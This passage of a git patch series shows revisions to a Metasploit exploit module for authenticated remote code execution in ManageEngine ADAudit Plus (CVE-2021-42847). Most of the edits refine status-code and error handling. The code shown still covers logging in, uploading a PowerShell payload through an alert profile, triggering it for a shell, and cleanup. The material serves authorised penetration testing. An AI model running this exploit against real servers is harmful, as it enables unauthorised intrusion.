we will not be able to trigger the payload, so there is no point to proceed + if domain_aliases == ['ADAuditPlus Authentication'] + return CheckCode::Detected('No active directory domains are configured on the target, so the module will not be able to trigger the payload.') + end + + # set the domain alias to the first configured domain, unless the user provided an invalid domain + # in the latter case, the module won't be able to authenticate to the target so there's no point to proceed if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain) vprint_status(domain_alias_msg) @domain_alias = domain_aliases.first print_status("Using configured authentication domain alias #{@domain_alias}.") else + # this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed print_status(domain_alias_msg) return CheckCode::Detected("The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).") end @@ -450,11 +460,19 @@ class MetasploitModule < Msf::Exploit::Remote if @domain_alias.nil? # this means check didn't run, so we need to obtain the configured Active Directory domains target_check_results = adaudit_plus_target_check + target_check_status = target_check_results['status'] target_check_msg = target_check_results['message'] - unless target_check_results['status'] == adaudit_plus_status::SUCCESS + unless target_check_status == adaudit_plus_status::SUCCESS print_error('Failed to obtain the configured Active Directory domain aliases') - fail_with(Failure::Unknown, target_check_msg) + case target_check_status + when adaudit_plus_status::UNEXPECTED_REPLY + fail_with(Failure::UnexpectedReply, target_check_msg) + else + # this covers adaudit_plus_status::CONNECTION_FAILED and other potential statuses that this method may return in the future + fail_with(Failure::Unknown, target_check_msg) + end end + target_check_res = target_check_results['server_response'] # In order to trigger the final payload in the exploit method, we will need to send an authentication request to @@ -462,16 +480,29 @@ class MetasploitModule < Msf::Exploit::Remote # we can try to extract the FQDN for a configured domain from the server response. domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res.body) domain_alias_msg = domain_alias_results['message'] - if domain_alias_results['status'] == adaudit_plus_status::NO_MATCH + case domain_alias_results['status'] + when adaudit_plus_status::NO_MATCH fail_with(Failure::NotVulnerable, domain_alias_msg) + when adaudit_plus_status::SUCCESS + # just to distinguish it from any other potential statuses that this method may return in the future + else + fail_with(Failure::Unknown, domain_alias_msg) end domain_aliases = domain_alias_results['domain_aliases'] + # if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed + if domain_aliases == ['ADAuditPlus Authentication'] + fail_with(Failure::NoTarget, 'No active directory domains are configured on the target, so the module will not be able to trigger the payload.') + end + + # set the domain alias to the first configured domain, unless the user provided an invalid domain + # in the latter case, the module won't be able to authenticate to the target so there's no point to proceed if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain) vprint_status(domain_alias_msg) @domain_alias = domain_aliases.first print_status("Using configured authentication domain alias #{@domain_alias}.") else + # this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed print_status(domain_alias_msg) fail_with(Failure::BadConfig, "The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).") end @@ -503,6 +534,10 @@ class MetasploitModule < Msf::Exploit::Remote case login_results['status'] when adaudit_plus_status::SUCCESS, adaudit_plus_status::NO_MATCH delete_alert(login_results['adapcsrf_cookie']) + when adaudit_plus_status::CONNECTION_FAILED + print_warning('Connection failed when trying to authenticate in order to perform cleanup. Manual cleanup required.') + when adaudit_plus_status::UNEXPECTED_REPLY + print_warning('Received unexpected reply when trying to authenticate in order to perform cleanup. Manual cleanup required.') else print_warning('Failed to authenticate in order to perform cleanup. Manual cleanup required.') end From 86b7f97421dc9dbdc1362929617522a7ab60afb4 Mon Sep 17 00:00:00 2001 From: ErikWynter <erik.wynter@gmail.com> Date: Fri, 10 Mar 2023 02:20:28 +0200 Subject: [PATCH 15/26] remove trailing whitespace --- .../windows/http/manageengine_adaudit_plus_authenticated_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb index dbca7d2eae..0cb1b17db9 100644 --- a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -357,7 +357,7 @@ class MetasploitModule < Msf::Exploit::Remote end # set the domain alias to the first configured domain, unless the user provided an invalid domain - # in the latter case, the module won't be able to authenticate to the target so there's no point to proceed + # in the latter case, the module won't be able to authenticate to the target so there's no point to proceed if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain) vprint_status(domain_alias_msg) @domain_alias = domain_aliases.first From 9fe7db4648423c9729b287f84e89d0986c550af9 Mon Sep 17 00:00:00 2001 From: ErikWynter <erik.wynter@gmail.com> Date: Thu, 16 Mar 2023 02:33:49 +0200 Subject: [PATCH 16/26] improve status codes handling --- .../status_codes.rb | 5 +- .../manage_engine_adaudit_plus/target_info.rb | 16 ++-- ...geengine_adaudit_plus_authenticated_rce.rb | 91 +++++++++++++------ 3 files changed, 72 insertions(+), 40 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/status_codes.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/status_codes.rb index 0bd51baed5..12fbbb7d7d 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/status_codes.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/status_codes.rb @@ -4,8 +4,9 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes SUCCESS = 0 CONNECTION_FAILED = 1 UNEXPECTED_REPLY = 2 - NO_MATCH = 3 - NO_ACCESS = 4 + NO_ACCESS = 3 + NO_DOMAINS = 4 + NO_BUILD_NUMBER = 5 # Alias for Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes # @return [Module] Returns the Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes module reference. diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb index a87fefcb62..5d60f57594 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb @@ -52,15 +52,15 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo doc = ::Nokogiri::HTML(res_body) css_dom_name = doc.css('select#domainName')&.first - no_match_response = { - 'status' => adaudit_plus_status::NO_MATCH, + no_domains_response = { + 'status' => adaudit_plus_status::NO_DOMAINS, 'message' => 'No configured Active Directory domains were found.' } - - return no_match_response if css_dom_name.blank? + + return no_domains_response if css_dom_name.blank? css_configured_domains = css_dom_name.css('option') - return no_match_response if css_configured_domains.blank? + return no_domains_response if css_configured_domains.blank? domain_aliases = [] css_configured_domains.each do |domain| @@ -69,7 +69,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo domain_aliases << value end - return no_match_response if domain_aliases.empty? + return no_domains_response if domain_aliases.empty? { 'status' => adaudit_plus_status::SUCCESS, @@ -171,7 +171,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo if configured_domains.empty? return { - 'status' => adaudit_plus_status::NO_MATCH, + 'status' => adaudit_plus_status::NO_DOMAINS, 'message' => 'Failed to obtain the list of configured domains.', 'adapcsrf_cookie' => adapcsrf_cookie.value } @@ -223,7 +223,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo build = res.body.scan(/"buildNumber":"(\s{0,}\d{4}\s{0,})",/)&.flatten&.first if build.blank? return { - 'status' => adaudit_plus_status::NO_MATCH, + 'status' => adaudit_plus_status::NO_BUILD_NUMBER, 'message' => 'No build number was obtained.' } end diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb index 0cb1b17db9..af7f31582a 100644 --- a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -165,10 +165,16 @@ class MetasploitModule < Msf::Exploit::Remote login_results = adaudit_plus_login(auth_domain, username, password, true) login_msg = login_results['message'] case login_results['status'] - when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY - fail_with(Failure::Unknown, login_msg) - when adaudit_plus_status::NO_ACCESS, adaudit_plus_status::NO_MATCH + when adaudit_plus_status::CONNECTION_FAILED + fail_with(Failure::Unreachable, login_msg) + when adaudit_plus_status::UNEXPECTED_REPLY + fail_with(Failure::UnexpectedReply, login_msg) + when adaudit_plus_status::NO_ACCESS fail_with(Failure::NoAccess, login_msg) + when adaudit_plus_status::SUCCESS + # just to distinguish it from any other potential statuses this method may return in the future + else + fail_with(Failure::Unknown, login_msg) end @adapcsrf_cookie = login_results['adapcsrf_cookie'] @@ -211,11 +217,15 @@ class MetasploitModule < Msf::Exploit::Remote login_msg = login_results['message'] case login_results['status'] when adaudit_plus_status::CONNECTION_FAILED - fail_with(Failure::Unknown, login_msg) + fail_with(Failure::Unreachable, login_msg) when adaudit_plus_status::UNEXPECTED_REPLY fail_with(Failure::UnexpectedReply, login_msg) - when adaudit_plus_status::NO_ACCESS, adaudit_plus_status::NO_MATCH + when adaudit_plus_status::NO_ACCESS fail_with(Failure::NoAccess, login_msg) + when adaudit_plus_status::SUCCESS + # just to distinguish it from any other potential statuses this method may return in the future + else + fail_with(Failure::Unknown, login_msg) end @adapcsrf_cookie = login_results['adapcsrf_cookie'] @@ -337,6 +347,9 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Safe(target_check_msg) when adaudit_plus_status::SUCCESS vprint_status(target_check_msg) + else + # this covers cases that may be added in the future + return CheckCode::Unknown(target_check_msg) end target_check_res = target_check_results['server_response'] @@ -346,14 +359,14 @@ class MetasploitModule < Msf::Exploit::Remote # we can try to extract the FQDN for a configured domain from the server response domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res) domain_alias_msg = domain_alias_results['message'] - if domain_alias_results['status'] == adaudit_plus_status::NO_MATCH + if domain_alias_results['status'] == adaudit_plus_status::NO_DOMAINS return CheckCode::Safe(domain_alias_msg) end domain_aliases = domain_alias_results['domain_aliases'] # if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed if domain_aliases == ['ADAuditPlus Authentication'] - return CheckCode::Detected('No active directory domains are configured on the target, so the module will not be able to trigger the payload.') + return CheckCode::Safe('No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.') end # set the domain alias to the first configured domain, unless the user provided an invalid domain @@ -374,12 +387,10 @@ class MetasploitModule < Msf::Exploit::Remote case login_results['status'] when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY return CheckCode::Unknown(login_msg) - when adaudit_plus_status::NO_ACCESS + when adaudit_plus_status::NO_ACCESS, NO_DOMAINS + # if we cannot authenticate, we can't create an alert profile so exploitation is impossible + # if no domains are configured, we cannot trigger the payload and therefore exploitation is impossible return CheckCode::Safe(login_msg) - when adaudit_plus_status::NO_MATCH - # this means we got a cookie but no configured domains - print_error(login_msg) - print_warning('The module will proceed, but exploitation may fail.') when adaudit_plus_status::SUCCESS @domain = login_results['configured_domains'].first vprint_status("Using domain #{@domain} for the name of the directory we will be creating") @@ -391,11 +402,11 @@ class MetasploitModule < Msf::Exploit::Remote # check the build version to see if we can actually exploit the target build_results = adaudit_plus_grab_build(@adapcsrf_cookie) build_msg = build_results['message'] - case build_results['status'] - when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY + unless build_results['status'] == adaudit_plus_status::SUCCESS + # this covers: adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY and adaudit_plus_status::NO_BUILD_NUMBER + # if we can't connect, receive an unexpected reply, or can't find the build number, we don't know what the target is and we can't proceed + # in those cases we can also not say that the target is safe or detected, so we return Unknown return CheckCode::Unknown(build_msg) - when adaudit_plus_status::NO_MATCH - return CheckCode::Detected(build_msg) end build_version = build_results['build_version'] @@ -436,17 +447,20 @@ class MetasploitModule < Msf::Exploit::Remote login_results = adaudit_plus_login(auth_domain, username, password, false) login_msg = login_results['message'] case login_results['status'] - when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY - fail_with(Failure::Unknown, login_msg) + when adaudit_plus_status::CONNECTION_FAILED + fail_with(Failure::Unreachable, login_msg) + when adaudit_plus_status::UNEXPECTED_REPLY + fail_with(Failure::UnexpectedReply, login_msg) when adaudit_plus_status::NO_ACCESS fail_with(Failure::NoAccess, login_msg) - when adaudit_plus_status::NO_MATCH - # this means we got a cookie but no configured domains - print_error(login_msg) - print_warning('The module will proceed, but exploitation may fail.') + when adaudit_plus_status::NO_DOMAINS + fail_with(Failure::NotVulnerable, login_msg) when adaudit_plus_status::SUCCESS @domain = login_results['configured_domains'].first vprint_status("Using domain #{@domain} for the name of the directory we will be creating") + else + # this covers other potential statuses that may be added in the future + fail_with(Failure::Unknown, login_msg) end print_good('Successfully authenticated') @@ -465,10 +479,12 @@ class MetasploitModule < Msf::Exploit::Remote unless target_check_status == adaudit_plus_status::SUCCESS print_error('Failed to obtain the configured Active Directory domain aliases') case target_check_status + when adaudit_plus_status::CONNECTION_FAILED + fail_with(Failure::Unreachable, target_check_msg) when adaudit_plus_status::UNEXPECTED_REPLY fail_with(Failure::UnexpectedReply, target_check_msg) else - # this covers adaudit_plus_status::CONNECTION_FAILED and other potential statuses that this method may return in the future + # this covers other potential statuses that this method may return in the future fail_with(Failure::Unknown, target_check_msg) end end @@ -481,7 +497,7 @@ class MetasploitModule < Msf::Exploit::Remote domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res.body) domain_alias_msg = domain_alias_results['message'] case domain_alias_results['status'] - when adaudit_plus_status::NO_MATCH + when adaudit_plus_status::NO_DOMAINS fail_with(Failure::NotVulnerable, domain_alias_msg) when adaudit_plus_status::SUCCESS # just to distinguish it from any other potential statuses that this method may return in the future @@ -490,9 +506,14 @@ class MetasploitModule < Msf::Exploit::Remote end domain_aliases = domain_alias_results['domain_aliases'] + if domain_aliases.blank? + # this shouldn't happen, but let's check this just in case + fail_with(Failure::Unknown, 'Failed to verify if any Active Directory domains are configured on the target.') + end + # if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed if domain_aliases == ['ADAuditPlus Authentication'] - fail_with(Failure::NoTarget, 'No active directory domains are configured on the target, so the module will not be able to trigger the payload.') + fail_with(Failure::NoTarget, 'No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.') end # set the domain alias to the first configured domain, unless the user provided an invalid domain @@ -511,13 +532,18 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.") login_results = adaudit_plus_login(@domain_alias, rand_text_alphanumeric(5..8), rand_text_alphanumeric(8..12), true) login_msg = login_results['message'] + manual_trigger_msg = "You can try to manually trigger the payload via a failed login attempt for the #{@domain_alias} domain." case login_results['status'] - when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY - fail_with(Failure::Unknown, "#{login_msg} You can try to manually trigger the payload via a failed login attempt for the #{@domain_alias} domain.") + when adaudit_plus_status::CONNECTION_FAILED + fail_with(Failure::Unreachable, "#{login_msg} #{manual_trigger_msg}") + when adaudit_plus_status::UNEXPECTED_REPLY + fail_with(Failure::UnexpectedReply, "#{login_msg} #{manual_trigger_msg}") when adaudit_plus_status::NO_ACCESS print_status("Received expected reply when trying to trigger the payload. Let's hope we get a shell...") + when adaudit_plus_status::SUCCESS + fail_with(Failure::Unknown, "Somehow authentication succeeded, which means the payload was not triggered. #{manual_trigger_msg}") else - print_warning('Received unexpected reply when trying to trigger the payload. The module will continue but exploitation will likely fail.') + print_warning('Received unknown error code when trying to trigger the payload. The module will continue but exploitation will likely fail.') end @pwned = 0 # used to keep track of successful exploitation and the number of shells we get in cleanup and on_new_session @@ -532,14 +558,19 @@ class MetasploitModule < Msf::Exploit::Remote cookie_jar.clear login_results = adaudit_plus_login(auth_domain, username, password, true) case login_results['status'] - when adaudit_plus_status::SUCCESS, adaudit_plus_status::NO_MATCH + when adaudit_plus_status::SUCCESS delete_alert(login_results['adapcsrf_cookie']) when adaudit_plus_status::CONNECTION_FAILED print_warning('Connection failed when trying to authenticate in order to perform cleanup. Manual cleanup required.') when adaudit_plus_status::UNEXPECTED_REPLY print_warning('Received unexpected reply when trying to authenticate in order to perform cleanup. Manual cleanup required.') - else + when adaudit_plus_status::NO_ACCESS print_warning('Failed to authenticate in order to perform cleanup. Manual cleanup required.') + else + # this covers other potential statuses that this method may return in the future + # note that here the login method should never return adaudit_plus_status::NO_DOMAINS + # however, if it would do so due to some library change, treating it as unexpected reply makes sense + print_warning('Received unknown error code when trying to authenticate in order to perform cleanup. Manual cleanup required.') end end From 1c6c1dffc61894d9658a3bdfc7e4ecd19fb92ab5 Mon Sep 17 00:00:00 2001 From: ErikWynter <erik.wynter@gmail.com> Date: Wed, 22 Mar 2023 10:38:10 +0200 Subject: [PATCH 17/26] final code review fixes --- .../manage_engine_adaudit_plus/target_info.rb | 10 +++--- ...geengine_adaudit_plus_authenticated_rce.rb | 34 ++++++++++--------- 2 files changed, 24 insertions(+), 20 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb index 5d60f57594..8900efcae3 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb @@ -46,15 +46,18 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo # @return [Hash] Hash containing a `status` key, which is used to hold a # status value as an Integer value, a `message` key, which is used # to hold a message associated with the status value as a String, - # and an optional 'domain_aliases' key, which is used to hold an Array - # of Strings for the configured domain aliases. + # and a 'domain_aliases' key, which is used to hold an Array + # of Strings for the configured domain aliases, or an empty Array + # if no domain aliases were found. def adaudit_plus_grab_domain_aliases(res_body) doc = ::Nokogiri::HTML(res_body) css_dom_name = doc.css('select#domainName')&.first + domain_aliases = [] no_domains_response = { 'status' => adaudit_plus_status::NO_DOMAINS, - 'message' => 'No configured Active Directory domains were found.' + 'message' => 'No configured Active Directory domains were found.', + 'domain_aliases' => domain_aliases } return no_domains_response if css_dom_name.blank? @@ -62,7 +65,6 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo css_configured_domains = css_dom_name.css('option') return no_domains_response if css_configured_domains.blank? - domain_aliases = [] css_configured_domains.each do |domain| next unless domain&.keys&.include?('value') value = domain['value'] diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb index af7f31582a..4c1ff65762 100644 --- a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -190,11 +190,11 @@ class MetasploitModule < Msf::Exploit::Remote }) unless res_check_7004 - fail_with(Failure::Unknown, 'Connection failed when trying to get the required info via /api/json/jsMessage') + fail_with(Failure::Unreachable, 'Connection failed when trying to get the required info via /api/json/jsMessage') end unless res_check_7004.code == 200 && res_check_7004.body.include?('adap_common_script_info') - fail_with(Failure::Unknown, 'Received unexpected response when trying to get the required info via /api/json/jsMessage') + fail_with(Failure::UnexpectedReply, 'Received unexpected response when trying to get the required info via /api/json/jsMessage') end alert_script_7004_msg = 'Your alert profile script path configuration is not compliant with the constraints listed below and needs to '\ @@ -249,13 +249,13 @@ class MetasploitModule < Msf::Exploit::Remote }) unless res_save_alert - fail_with(Failure::Unknown, 'Connection failed when trying to create an alert profile via /api/json/config/alertprofiles/save') + fail_with(Failure::Unreachable, 'Connection failed when trying to create an alert profile via /api/json/config/alertprofiles/save') end unless res_save_alert.code == 200 && res_save_alert.body.include?('Successfully Saved the Alert Profile') print_error("The server sent the following response: #{res_save_alert.body&.strip}") @alert_name = nil # if we are here the alert profile was not created so let's skip cleanup by setting @alert_name to nil - fail_with(Failure::Unknown, 'Failed to create an alert profile via /api/json/config/alertprofiles/save') + fail_with(Failure::UnexpectedReply, 'Failed to create an alert profile via /api/json/config/alertprofiles/save') end print_good("Successfully created alert profile #{@alert_name}") @@ -326,11 +326,11 @@ class MetasploitModule < Msf::Exploit::Remote }) unless res - fail_with(Failure::Unknown, 'Connection failed') + fail_with(Failure::Unreachable, 'Connection failed') end unless res.code == 200 && res.body.include?('{"success":true}') - fail_with(Failure::Unknown, 'Failed to upload the payload.') + fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.') end print_good("Successfully wrote the payload to /alert_scripts/#{ps1_script_name} in the ManageEngine ADAudit Plus install directory") @@ -364,6 +364,11 @@ class MetasploitModule < Msf::Exploit::Remote end domain_aliases = domain_alias_results['domain_aliases'] + # check if we actually have any configured domain aliases now, otherwise the target isn't exploitable + if domain_aliases.blank? + return CheckCode::Safe('Failed to verify if any Active Directory domains are configured on the target.') + end + # if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed if domain_aliases == ['ADAuditPlus Authentication'] return CheckCode::Safe('No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.') @@ -371,7 +376,7 @@ class MetasploitModule < Msf::Exploit::Remote # set the domain alias to the first configured domain, unless the user provided an invalid domain # in the latter case, the module won't be able to authenticate to the target so there's no point to proceed - if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain) + if auth_domain == 'ADAuditPlus Authentication' || domain_aliases.include?(auth_domain) vprint_status(domain_alias_msg) @domain_alias = domain_aliases.first print_status("Using configured authentication domain alias #{@domain_alias}.") @@ -403,9 +408,8 @@ class MetasploitModule < Msf::Exploit::Remote build_results = adaudit_plus_grab_build(@adapcsrf_cookie) build_msg = build_results['message'] unless build_results['status'] == adaudit_plus_status::SUCCESS - # this covers: adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY and adaudit_plus_status::NO_BUILD_NUMBER - # if we can't connect, receive an unexpected reply, or can't find the build number, we don't know what the target is and we can't proceed - # in those cases we can also not say that the target is safe or detected, so we return Unknown + # if we don't get a valid build number, we don't know what the target is, so we can't proceed + # however, we can also not say that the target is safe or detected, so we return Unknown return CheckCode::Unknown(build_msg) end @@ -500,17 +504,15 @@ class MetasploitModule < Msf::Exploit::Remote when adaudit_plus_status::NO_DOMAINS fail_with(Failure::NotVulnerable, domain_alias_msg) when adaudit_plus_status::SUCCESS - # just to distinguish it from any other potential statuses that this method may return in the future + # make sure we actually have a domain alias, otherwise the target is not vulnerable + if domain_alias_results['domain_aliases'].blank? + fail_with(Failure::NotVulnerable, 'Failed to verify if any Active Directory domains are configured on the target.') + end else fail_with(Failure::Unknown, domain_alias_msg) end domain_aliases = domain_alias_results['domain_aliases'] - if domain_aliases.blank? - # this shouldn't happen, but let's check this just in case - fail_with(Failure::Unknown, 'Failed to verify if any Active Directory domains are configured on the target.') - end - # if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed if domain_aliases == ['ADAuditPlus Authentication'] fail_with(Failure::NoTarget, 'No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.') From 9b596b3efdbd72af7acc58d2f309e486239eb9a6 Mon Sep 17 00:00:00 2001 From: ErikWynter <erik.wynter@gmail.com> Date: Fri, 21 Apr 2023 16:16:26 +0300 Subject: [PATCH 18/26] minor changes --- .../remote/http/manage_engine_adaudit_plus/target_info.rb | 6 +++--- .../http/manageengine_adaudit_plus_authenticated_rce.rb | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb index 8900efcae3..b97e9f7425 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb @@ -46,9 +46,9 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo # @return [Hash] Hash containing a `status` key, which is used to hold a # status value as an Integer value, a `message` key, which is used # to hold a message associated with the status value as a String, - # and a 'domain_aliases' key, which is used to hold an Array - # of Strings for the configured domain aliases, or an empty Array - # if no domain aliases were found. + # and a 'domain_aliases' key, which holds an Array of Strings for + # the configured domain aliases, or an empty Array if no domain + # aliases were found. def adaudit_plus_grab_domain_aliases(res_body) doc = ::Nokogiri::HTML(res_body) css_dom_name = doc.css('select#domainName')&.first diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb index 4c1ff65762..086acb8582 100644 --- a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -427,7 +427,7 @@ class MetasploitModule < Msf::Exploit::Remote @exploit_method = 'cve_2021_42847' return CheckCode::Appears("The target is ADAudit Plus #{build_version} and the endpoint for CVE-2021-42847 exists.") when adaudit_plus_status::CONNECTION_FAILED - return CheckCode::Unknown("The target is ADAudit Plus #{build_version} but the connection failed when checking for the CVE-2021-42847 endpoint") + return CheckCode::Detected("The target is ADAudit Plus #{build_version} but the connection failed when checking for the CVE-2021-42847 endpoint") when adaudit_plus_status::NO_ACCESS return CheckCode::Safe("The target is ADAudit Plus #{build_version} but the endpoint for CVE-2021-42847 is not accessible.") end From f27fc2841144b995bd703f91b103f23b710a1874 Mon Sep 17 00:00:00 2001 From: Grant Willcox <gwillcox@rapid7.com> Date: Mon, 1 May 2023 16:56:12 -0500 Subject: [PATCH 19/26] Perform review updates --- ...geengine_adaudit_plus_authenticated_rce.md | 14 ++--- .../json_post_data.rb | 10 +++- .../http/manage_engine_adaudit_plus/login.rb | 12 ++--- .../manage_engine_adaudit_plus/target_info.rb | 13 ++--- ...geengine_adaudit_plus_authenticated_rce.rb | 54 ++++++++++--------- 5 files changed, 59 insertions(+), 44 deletions(-) diff --git a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md index c5138da247..9ccecb5b32 100644 --- a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md +++ b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md @@ -18,12 +18,11 @@ payload has been tested successfully. This module will automatically delete the created alert profile before completing. This happens even if no shell was obtained. It should be noted that during a single run, the module will typically authenticate to the target several times. -This is because ADAudit Plus is very strict about cookies. -After a user performs a successful authentication request, the server sends a cookie that can be used to visit the dashboard. -However, in order to interact with most of the API endpoints, the user must then perform a request to `api/json/configuredDomainsList`. -Only then does the server return a cookie that can be used to interact with other endpoints. -If the above requests are not performed in this exact order, -or additinal requests are performed before the final cookie is obtained, the entire authentication chain needs to be repeated. +This is because ADAudit Plus is very strict about cookies. After a user performs a successful authentication request, +the server sends a cookie that can be used to visit the dashboard. However, in order to interact with most of the API +endpoints, the user must then perform a request to `api/json/configuredDomainsList`. Only then does the server return a +cookie that can be used to interact with other endpoints. If the above requests are not performed in this exact order, +or additional requests are performed before the final cookie is obtained, the entire authentication chain needs to be repeated. This module requires valid credentials for an account with the privileges to create alert scripts. It has been successfully tested against ManageEngine ADAudit Plus builds @@ -36,7 +35,7 @@ Successful exploitation will result in RCE as the user running ManageEngine ADAu Vulnerable versions of ADAudit Plus are available [here](https://archives2.manageengine.com/active-directory-audit/). Versions 7005 and prior are vulnerable by default, so no special configuration is required after installing the application. -After running the installer, you can launch ADAudit Plus by opening Command Prompt with administrator privileges +After running the installer, you can launch ADAudit Plus by opening a command prompt with administrator privileges and then running: `<install_dir>\bin\run.bat`. The default ADAudit Plus credentials (set as default options for the module) are `admin`:`admin`. @@ -49,6 +48,7 @@ The default ADAudit Plus credentials (set as default options for the module) are 5. Do: `set USERNAME [username]` 6. Do: `set PASSWORD [password]` 7. Do: `exploit` +8. Verify you get a shell on the target machine as the user running ManageEngine ADAudit Plus. ## Options ### AUTH_DOMAIN diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb index 97df166919..eb4baf7b73 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb @@ -3,7 +3,15 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData # Generates a JSON hash according to the format required by the GPOWatcherData endpoint # - # @param options [Hash] Hash containing parameters to include in the JSON hash. The parameters can be Booleans, Strings and/or Integers + # @param options [Hash] Hash containing parameters to include in the JSON hash. + # @option options [Boolean] :isGPOData Is the data GPO data? This is set to true if so, otherwise its set to false. + # @option options [String] :DOMAIN_NAME Name of the domain being targeted. + # @option options [String] :GPO_GUID The GPO GUID to use. + # @option options [Integer] :GPO_VERSION The version number of the GPO GUID in use, or a random number from 1 to 9 if one is not supplied. + # @option options [String] :VER_FILE_NAME The version file name in a format that matches ADAudit Plus's VER_FILE_NAME format. + # @option options [String] :xmlReport An XML string containing the header to use for the report. + # @option options [String] :html_fileName The filename to use for the post request if provided. + # @option options [String] :htmlReport The location to save the HTML report if provided. # @return [String] A string representation of the JSON hash matching the # format required by the GPOWatcherData endpoint. 